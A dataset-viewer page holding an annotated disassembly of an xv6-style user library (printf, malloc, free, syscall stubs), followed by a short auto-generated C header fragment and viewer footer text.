3a3: c3 ret
000003a4 <mtx_lock>:
SYSCALL(mtx_lock)
3a4: b8 1c 00 00 00 mov $0x1c,%eax
3a9: cd 40 int $0x40
3ab: c3 ret
000003ac <mtx_unlock>:
SYSCALL(mtx_unlock)
3ac: b8 1d 00 00 00 mov $0x1d,%eax
3b1: cd 40 int $0x40
3b3: c3 ret
000003b4 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3b4: 55 push %ebp
3b5: 89 e5 mov %esp,%ebp
3b7: 83 ec 18 sub $0x18,%esp
3ba: 8b 45 0c mov 0xc(%ebp),%eax
3bd: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3c0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3c7: 00
3c8: 8d 45 f4 lea -0xc(%ebp),%eax
3cb: 89 44 24 04 mov %eax,0x4(%esp)
3cf: 8b 45 08 mov 0x8(%ebp),%eax
3d2: 89 04 24 mov %eax,(%esp)
3d5: e8 1a ff ff ff call 2f4 <write>
}
3da: c9 leave
3db: c3 ret
000003dc <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3dc: 55 push %ebp
3dd: 89 e5 mov %esp,%ebp
3df: 56 push %esi
3e0: 53 push %ebx
3e1: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3e4: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3eb: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3ef: 74 17 je 408 <printint+0x2c>
3f1: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3f5: 79 11 jns 408 <printint+0x2c>
neg = 1;
3f7: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3fe: 8b 45 0c mov 0xc(%ebp),%eax
401: f7 d8 neg %eax
403: 89 45 ec mov %eax,-0x14(%ebp)
406: eb 06 jmp 40e <printint+0x32>
} else {
x = xx;
408: 8b 45 0c mov 0xc(%ebp),%eax
40b: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
40e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
415: 8b 4d f4 mov -0xc(%ebp),%ecx
418: 8d 41 01 lea 0x1(%ecx),%eax
41b: 89 45 f4 mov %eax,-0xc(%ebp)
41e: 8b 5d 10 mov 0x10(%ebp),%ebx
421: 8b 45 ec mov -0x14(%ebp),%eax
424: ba 00 00 00 00 mov $0x0,%edx
429: f7 f3 div %ebx
42b: 89 d0 mov %edx,%eax
42d: 0f b6 80 b4 0a 00 00 movzbl 0xab4(%eax),%eax
434: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
438: 8b 75 10 mov 0x10(%ebp),%esi
43b: 8b 45 ec mov -0x14(%ebp),%eax
43e: ba 00 00 00 00 mov $0x0,%edx
443: f7 f6 div %esi
445: 89 45 ec mov %eax,-0x14(%ebp)
448: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
44c: 75 c7 jne 415 <printint+0x39>
if(neg)
44e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
452: 74 10 je 464 <printint+0x88>
buf[i++] = '-';
454: 8b 45 f4 mov -0xc(%ebp),%eax
457: 8d 50 01 lea 0x1(%eax),%edx
45a: 89 55 f4 mov %edx,-0xc(%ebp)
45d: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
462: eb 1f jmp 483 <printint+0xa7>
464: eb 1d jmp 483 <printint+0xa7>
putc(fd, buf[i]);
466: 8d 55 dc lea -0x24(%ebp),%edx
469: 8b 45 f4 mov -0xc(%ebp),%eax
46c: 01 d0 add %edx,%eax
46e: 0f b6 00 movzbl (%eax),%eax
471: 0f be c0 movsbl %al,%eax
474: 89 44 24 04 mov %eax,0x4(%esp)
478: 8b 45 08 mov 0x8(%ebp),%eax
47b: 89 04 24 mov %eax,(%esp)
47e: e8 31 ff ff ff call 3b4 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
483: 83 6d f4 01 subl $0x1,-0xc(%ebp)
487: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
48b: 79 d9 jns 466 <printint+0x8a>
putc(fd, buf[i]);
}
48d: 83 c4 30 add $0x30,%esp
490: 5b pop %ebx
491: 5e pop %esi
492: 5d pop %ebp
493: c3 ret
00000494 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
494: 55 push %ebp
495: 89 e5 mov %esp,%ebp
497: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
49a: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
4a1: 8d 45 0c lea 0xc(%ebp),%eax
4a4: 83 c0 04 add $0x4,%eax
4a7: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
4aa: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
4b1: e9 7c 01 00 00 jmp 632 <printf+0x19e>
c = fmt[i] & 0xff;
4b6: 8b 55 0c mov 0xc(%ebp),%edx
4b9: 8b 45 f0 mov -0x10(%ebp),%eax
4bc: 01 d0 add %edx,%eax
4be: 0f b6 00 movzbl (%eax),%eax
4c1: 0f be c0 movsbl %al,%eax
4c4: 25 ff 00 00 00 and $0xff,%eax
4c9: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
4cc: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
4d0: 75 2c jne 4fe <printf+0x6a>
if(c == '%'){
4d2: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4d6: 75 0c jne 4e4 <printf+0x50>
state = '%';
4d8: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4df: e9 4a 01 00 00 jmp 62e <printf+0x19a>
} else {
putc(fd, c);
4e4: 8b 45 e4 mov -0x1c(%ebp),%eax
4e7: 0f be c0 movsbl %al,%eax
4ea: 89 44 24 04 mov %eax,0x4(%esp)
4ee: 8b 45 08 mov 0x8(%ebp),%eax
4f1: 89 04 24 mov %eax,(%esp)
4f4: e8 bb fe ff ff call 3b4 <putc>
4f9: e9 30 01 00 00 jmp 62e <printf+0x19a>
}
} else if(state == '%'){
4fe: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
502: 0f 85 26 01 00 00 jne 62e <printf+0x19a>
if(c == 'd'){
508: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
50c: 75 2d jne 53b <printf+0xa7>
printint(fd, *ap, 10, 1);
50e: 8b 45 e8 mov -0x18(%ebp),%eax
511: 8b 00 mov (%eax),%eax
513: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
51a: 00
51b: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
522: 00
523: 89 44 24 04 mov %eax,0x4(%esp)
527: 8b 45 08 mov 0x8(%ebp),%eax
52a: 89 04 24 mov %eax,(%esp)
52d: e8 aa fe ff ff call 3dc <printint>
ap++;
532: 83 45 e8 04 addl $0x4,-0x18(%ebp)
536: e9 ec 00 00 00 jmp 627 <printf+0x193>
} else if(c == 'x' || c == 'p'){
53b: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
53f: 74 06 je 547 <printf+0xb3>
541: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
545: 75 2d jne 574 <printf+0xe0>
printint(fd, *ap, 16, 0);
547: 8b 45 e8 mov -0x18(%ebp),%eax
54a: 8b 00 mov (%eax),%eax
54c: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
553: 00
554: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
55b: 00
55c: 89 44 24 04 mov %eax,0x4(%esp)
560: 8b 45 08 mov 0x8(%ebp),%eax
563: 89 04 24 mov %eax,(%esp)
566: e8 71 fe ff ff call 3dc <printint>
ap++;
56b: 83 45 e8 04 addl $0x4,-0x18(%ebp)
56f: e9 b3 00 00 00 jmp 627 <printf+0x193>
} else if(c == 's'){
574: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
578: 75 45 jne 5bf <printf+0x12b>
s = (char*)*ap;
57a: 8b 45 e8 mov -0x18(%ebp),%eax
57d: 8b 00 mov (%eax),%eax
57f: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
582: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
586: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
58a: 75 09 jne 595 <printf+0x101>
s = "(null)";
58c: c7 45 f4 69 08 00 00 movl $0x869,-0xc(%ebp)
while(*s != 0){
593: eb 1e jmp 5b3 <printf+0x11f>
595: eb 1c jmp 5b3 <printf+0x11f>
putc(fd, *s);
597: 8b 45 f4 mov -0xc(%ebp),%eax
59a: 0f b6 00 movzbl (%eax),%eax
59d: 0f be c0 movsbl %al,%eax
5a0: 89 44 24 04 mov %eax,0x4(%esp)
5a4: 8b 45 08 mov 0x8(%ebp),%eax
5a7: 89 04 24 mov %eax,(%esp)
5aa: e8 05 fe ff ff call 3b4 <putc>
s++;
5af: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
5b3: 8b 45 f4 mov -0xc(%ebp),%eax
5b6: 0f b6 00 movzbl (%eax),%eax
5b9: 84 c0 test %al,%al
5bb: 75 da jne 597 <printf+0x103>
5bd: eb 68 jmp 627 <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
5bf: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
5c3: 75 1d jne 5e2 <printf+0x14e>
putc(fd, *ap);
5c5: 8b 45 e8 mov -0x18(%ebp),%eax
5c8: 8b 00 mov (%eax),%eax
5ca: 0f be c0 movsbl %al,%eax
5cd: 89 44 24 04 mov %eax,0x4(%esp)
5d1: 8b 45 08 mov 0x8(%ebp),%eax
5d4: 89 04 24 mov %eax,(%esp)
5d7: e8 d8 fd ff ff call 3b4 <putc>
ap++;
5dc: 83 45 e8 04 addl $0x4,-0x18(%ebp)
5e0: eb 45 jmp 627 <printf+0x193>
} else if(c == '%'){
5e2: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
5e6: 75 17 jne 5ff <printf+0x16b>
putc(fd, c);
5e8: 8b 45 e4 mov -0x1c(%ebp),%eax
5eb: 0f be c0 movsbl %al,%eax
5ee: 89 44 24 04 mov %eax,0x4(%esp)
5f2: 8b 45 08 mov 0x8(%ebp),%eax
5f5: 89 04 24 mov %eax,(%esp)
5f8: e8 b7 fd ff ff call 3b4 <putc>
5fd: eb 28 jmp 627 <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5ff: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
606: 00
607: 8b 45 08 mov 0x8(%ebp),%eax
60a: 89 04 24 mov %eax,(%esp)
60d: e8 a2 fd ff ff call 3b4 <putc>
putc(fd, c);
612: 8b 45 e4 mov -0x1c(%ebp),%eax
615: 0f be c0 movsbl %al,%eax
618: 89 44 24 04 mov %eax,0x4(%esp)
61c: 8b 45 08 mov 0x8(%ebp),%eax
61f: 89 04 24 mov %eax,(%esp)
622: e8 8d fd ff ff call 3b4 <putc>
}
state = 0;
627: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
62e: 83 45 f0 01 addl $0x1,-0x10(%ebp)
632: 8b 55 0c mov 0xc(%ebp),%edx
635: 8b 45 f0 mov -0x10(%ebp),%eax
638: 01 d0 add %edx,%eax
63a: 0f b6 00 movzbl (%eax),%eax
63d: 84 c0 test %al,%al
63f: 0f 85 71 fe ff ff jne 4b6 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
645: c9 leave
646: c3 ret
00000647 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
647: 55 push %ebp
648: 89 e5 mov %esp,%ebp
64a: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
64d: 8b 45 08 mov 0x8(%ebp),%eax
650: 83 e8 08 sub $0x8,%eax
653: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
656: a1 d0 0a 00 00 mov 0xad0,%eax
65b: 89 45 fc mov %eax,-0x4(%ebp)
65e: eb 24 jmp 684 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
660: 8b 45 fc mov -0x4(%ebp),%eax
663: 8b 00 mov (%eax),%eax
665: 3b 45 fc cmp -0x4(%ebp),%eax
668: 77 12 ja 67c <free+0x35>
66a: 8b 45 f8 mov -0x8(%ebp),%eax
66d: 3b 45 fc cmp -0x4(%ebp),%eax
670: 77 24 ja 696 <free+0x4f>
672: 8b 45 fc mov -0x4(%ebp),%eax
675: 8b 00 mov (%eax),%eax
677: 3b 45 f8 cmp -0x8(%ebp),%eax
67a: 77 1a ja 696 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
67c: 8b 45 fc mov -0x4(%ebp),%eax
67f: 8b 00 mov (%eax),%eax
681: 89 45 fc mov %eax,-0x4(%ebp)
684: 8b 45 f8 mov -0x8(%ebp),%eax
687: 3b 45 fc cmp -0x4(%ebp),%eax
68a: 76 d4 jbe 660 <free+0x19>
68c: 8b 45 fc mov -0x4(%ebp),%eax
68f: 8b 00 mov (%eax),%eax
691: 3b 45 f8 cmp -0x8(%ebp),%eax
694: 76 ca jbe 660 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
696: 8b 45 f8 mov -0x8(%ebp),%eax
699: 8b 40 04 mov 0x4(%eax),%eax
69c: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6a3: 8b 45 f8 mov -0x8(%ebp),%eax
6a6: 01 c2 add %eax,%edx
6a8: 8b 45 fc mov -0x4(%ebp),%eax
6ab: 8b 00 mov (%eax),%eax
6ad: 39 c2 cmp %eax,%edx
6af: 75 24 jne 6d5 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
6b1: 8b 45 f8 mov -0x8(%ebp),%eax
6b4: 8b 50 04 mov 0x4(%eax),%edx
6b7: 8b 45 fc mov -0x4(%ebp),%eax
6ba: 8b 00 mov (%eax),%eax
6bc: 8b 40 04 mov 0x4(%eax),%eax
6bf: 01 c2 add %eax,%edx
6c1: 8b 45 f8 mov -0x8(%ebp),%eax
6c4: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6c7: 8b 45 fc mov -0x4(%ebp),%eax
6ca: 8b 00 mov (%eax),%eax
6cc: 8b 10 mov (%eax),%edx
6ce: 8b 45 f8 mov -0x8(%ebp),%eax
6d1: 89 10 mov %edx,(%eax)
6d3: eb 0a jmp 6df <free+0x98>
} else
bp->s.ptr = p->s.ptr;
6d5: 8b 45 fc mov -0x4(%ebp),%eax
6d8: 8b 10 mov (%eax),%edx
6da: 8b 45 f8 mov -0x8(%ebp),%eax
6dd: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
6df: 8b 45 fc mov -0x4(%ebp),%eax
6e2: 8b 40 04 mov 0x4(%eax),%eax
6e5: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
6ec: 8b 45 fc mov -0x4(%ebp),%eax
6ef: 01 d0 add %edx,%eax
6f1: 3b 45 f8 cmp -0x8(%ebp),%eax
6f4: 75 20 jne 716 <free+0xcf>
p->s.size += bp->s.size;
6f6: 8b 45 fc mov -0x4(%ebp),%eax
6f9: 8b 50 04 mov 0x4(%eax),%edx
6fc: 8b 45 f8 mov -0x8(%ebp),%eax
6ff: 8b 40 04 mov 0x4(%eax),%eax
702: 01 c2 add %eax,%edx
704: 8b 45 fc mov -0x4(%ebp),%eax
707: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
70a: 8b 45 f8 mov -0x8(%ebp),%eax
70d: 8b 10 mov (%eax),%edx
70f: 8b 45 fc mov -0x4(%ebp),%eax
712: 89 10 mov %edx,(%eax)
714: eb 08 jmp 71e <free+0xd7>
} else
p->s.ptr = bp;
716: 8b 45 fc mov -0x4(%ebp),%eax
719: 8b 55 f8 mov -0x8(%ebp),%edx
71c: 89 10 mov %edx,(%eax)
freep = p;
71e: 8b 45 fc mov -0x4(%ebp),%eax
721: a3 d0 0a 00 00 mov %eax,0xad0
}
726: c9 leave
727: c3 ret
00000728 <morecore>:
static Header*
morecore(uint nu)
{
728: 55 push %ebp
729: 89 e5 mov %esp,%ebp
72b: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
72e: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
735: 77 07 ja 73e <morecore+0x16>
nu = 4096;
737: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
73e: 8b 45 08 mov 0x8(%ebp),%eax
741: c1 e0 03 shl $0x3,%eax
744: 89 04 24 mov %eax,(%esp)
747: e8 10 fc ff ff call 35c <sbrk>
74c: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
74f: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
753: 75 07 jne 75c <morecore+0x34>
return 0;
755: b8 00 00 00 00 mov $0x0,%eax
75a: eb 22 jmp 77e <morecore+0x56>
hp = (Header*)p;
75c: 8b 45 f4 mov -0xc(%ebp),%eax
75f: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
762: 8b 45 f0 mov -0x10(%ebp),%eax
765: 8b 55 08 mov 0x8(%ebp),%edx
768: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
76b: 8b 45 f0 mov -0x10(%ebp),%eax
76e: 83 c0 08 add $0x8,%eax
771: 89 04 24 mov %eax,(%esp)
774: e8 ce fe ff ff call 647 <free>
return freep;
779: a1 d0 0a 00 00 mov 0xad0,%eax
}
77e: c9 leave
77f: c3 ret
00000780 <malloc>:
void*
malloc(uint nbytes)
{
780: 55 push %ebp
781: 89 e5 mov %esp,%ebp
783: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
786: 8b 45 08 mov 0x8(%ebp),%eax
789: 83 c0 07 add $0x7,%eax
78c: c1 e8 03 shr $0x3,%eax
78f: 83 c0 01 add $0x1,%eax
792: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
795: a1 d0 0a 00 00 mov 0xad0,%eax
79a: 89 45 f0 mov %eax,-0x10(%ebp)
79d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
7a1: 75 23 jne 7c6 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
7a3: c7 45 f0 c8 0a 00 00 movl $0xac8,-0x10(%ebp)
7aa: 8b 45 f0 mov -0x10(%ebp),%eax
7ad: a3 d0 0a 00 00 mov %eax,0xad0
7b2: a1 d0 0a 00 00 mov 0xad0,%eax
7b7: a3 c8 0a 00 00 mov %eax,0xac8
base.s.size = 0;
7bc: c7 05 cc 0a 00 00 00 movl $0x0,0xacc
7c3: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7c6: 8b 45 f0 mov -0x10(%ebp),%eax
7c9: 8b 00 mov (%eax),%eax
7cb: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
7ce: 8b 45 f4 mov -0xc(%ebp),%eax
7d1: 8b 40 04 mov 0x4(%eax),%eax
7d4: 3b 45 ec cmp -0x14(%ebp),%eax
7d7: 72 4d jb 826 <malloc+0xa6>
if(p->s.size == nunits)
7d9: 8b 45 f4 mov -0xc(%ebp),%eax
7dc: 8b 40 04 mov 0x4(%eax),%eax
7df: 3b 45 ec cmp -0x14(%ebp),%eax
7e2: 75 0c jne 7f0 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
7e4: 8b 45 f4 mov -0xc(%ebp),%eax
7e7: 8b 10 mov (%eax),%edx
7e9: 8b 45 f0 mov -0x10(%ebp),%eax
7ec: 89 10 mov %edx,(%eax)
7ee: eb 26 jmp 816 <malloc+0x96>
else {
p->s.size -= nunits;
7f0: 8b 45 f4 mov -0xc(%ebp),%eax
7f3: 8b 40 04 mov 0x4(%eax),%eax
7f6: 2b 45 ec sub -0x14(%ebp),%eax
7f9: 89 c2 mov %eax,%edx
7fb: 8b 45 f4 mov -0xc(%ebp),%eax
7fe: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
801: 8b 45 f4 mov -0xc(%ebp),%eax
804: 8b 40 04 mov 0x4(%eax),%eax
807: c1 e0 03 shl $0x3,%eax
80a: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
80d: 8b 45 f4 mov -0xc(%ebp),%eax
810: 8b 55 ec mov -0x14(%ebp),%edx
813: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
816: 8b 45 f0 mov -0x10(%ebp),%eax
819: a3 d0 0a 00 00 mov %eax,0xad0
return (void*)(p + 1);
81e: 8b 45 f4 mov -0xc(%ebp),%eax
821: 83 c0 08 add $0x8,%eax
824: eb 38 jmp 85e <malloc+0xde>
}
if(p == freep)
826: a1 d0 0a 00 00 mov 0xad0,%eax
82b: 39 45 f4 cmp %eax,-0xc(%ebp)
82e: 75 1b jne 84b <malloc+0xcb>
if((p = morecore(nunits)) == 0)
830: 8b 45 ec mov -0x14(%ebp),%eax
833: 89 04 24 mov %eax,(%esp)
836: e8 ed fe ff ff call 728 <morecore>
83b: 89 45 f4 mov %eax,-0xc(%ebp)
83e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
842: 75 07 jne 84b <malloc+0xcb>
return 0;
844: b8 00 00 00 00 mov $0x0,%eax
849: eb 13 jmp 85e <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
84b: 8b 45 f4 mov -0xc(%ebp),%eax
84e: 89 45 f0 mov %eax,-0x10(%ebp)
851: 8b 45 f4 mov -0xc(%ebp),%eax
854: 8b 00 mov (%eax),%eax
856: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
859: e9 70 ff ff ff jmp 7ce <malloc+0x4e>
}
85e: c9 leave
85f: c3 ret
|
// This file auto generated by plugin for ida pro. Generated code only for x64. Please, dont change manually
#pragma once
#include <common/common.h>
START_ATF_NAMESPACE
typedef unsigned int _fsize_t;
END_ATF_NAMESPACE
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.